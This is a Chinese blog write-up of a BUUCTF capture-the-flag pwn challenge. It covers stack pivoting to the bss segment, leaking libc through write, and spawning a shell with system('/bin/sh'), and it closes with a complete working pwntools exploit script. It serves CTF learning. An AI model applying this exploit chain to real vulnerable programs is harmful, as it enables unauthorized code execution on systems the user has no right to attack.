【PWN · 栈迁移】[BUUCTF][Black Watch 入群题]PWN

记一道栈迁移题目

---

前言

【PWN · 栈迁移】[BUUCTF]ciscn_2019_es_2_Mr_Fmnwon的博客-CSDN博客

---

一、代码审计

总结信息如下： 

1. 第12行存在栈溢出漏洞，刚好可以溢出覆盖到ebp和ret

2. 第9行可输入大量数据到bss段

二、思路过程

1.栈迁移

进能够覆盖ebp和ret，很难不往栈迁移上想。

修改ebp和ret后我们可以将栈指针指向另一处地址addr，需要ebp修改为ebp-4和ret修改为leave;ret地址。这是触发栈迁移的基本过程。

查看整个代码发现没有后门函数。

2.泄露libc

没有system函数的使用，但是有write函数。我们可以通过write泄露write的真实地址，从而泄露libc的地址。进一步可以拿到system和str_bin_sh的地址。

3.组合流程①

read大量数据，可以是

aaaa + write.plt + main_addr + p32(1) + write.got + p32(4) 

栈迁移后，栈顶被弹出，栈指针指向write.plt，调用write函数，参数为 (fd=1,write_real_addr,len)，然后ret到main_addr，从头再次触发漏洞。

4.组合流程②

read大量数据，可以是

aaaa + system_addr + p32(0) + str_bin_sh

调用system('/bin/sh')，其中p32(0)仅为了占位

其中system和str_bin_sh通过泄露出来的write的地址得到libc版本，进而得到偏移量。

三、exp

from pwn import *
from pwn import u32,p32
from LibcSearcher import *

context.log_level='debug'
# context.terminal = ['tmux','splitw','-h']
io=process('./pwn')
# io=remote('node4.buuoj.cn',25236)9

elf=ELF('./pwn')

main_addr=0x08048513
bss_addr=0x0804A300
leave_ret=0x08048511

# gdb.attach(proc.pidof(io)[0],gdbscript="b main")
==========第一次触发漏洞
payload=b'a'*4+p32(elf.plt['write'])+p32(main_addr)+p32(1)+p32(elf.got['write'])+p32(6)
io.sendafter(b'name?',payload)
payload=b'a'*24+p32(bss_addr)+p32(leave_ret)
io.sendafter(b'say?',payload)
write_addr=u32(io.recv(4))
print(hex(write_addr))
==========泄露libc->泄露system地址、str_bin_sh地址
libc=LibcSearcher('write',write_addr)
write_bias=libc.dump('write')
system_bias=libc.dump('system')
bin_sh=libc.dump('str_bin_sh')
system_addr=write_addr-write_bias+system_bias
bin_sh_addr=write_addr-write_bias+bin_sh
==========第二次触发漏洞
payload=b'a'*4+p32(system_addr)+p32(0)+p32(bin_sh_addr)
io.sendafter(b'name?',payload)
payload=b'a'*24+p32(bss_addr)+p32(leave_ret)
io.sendafter(b'say',payload)
io.interactive()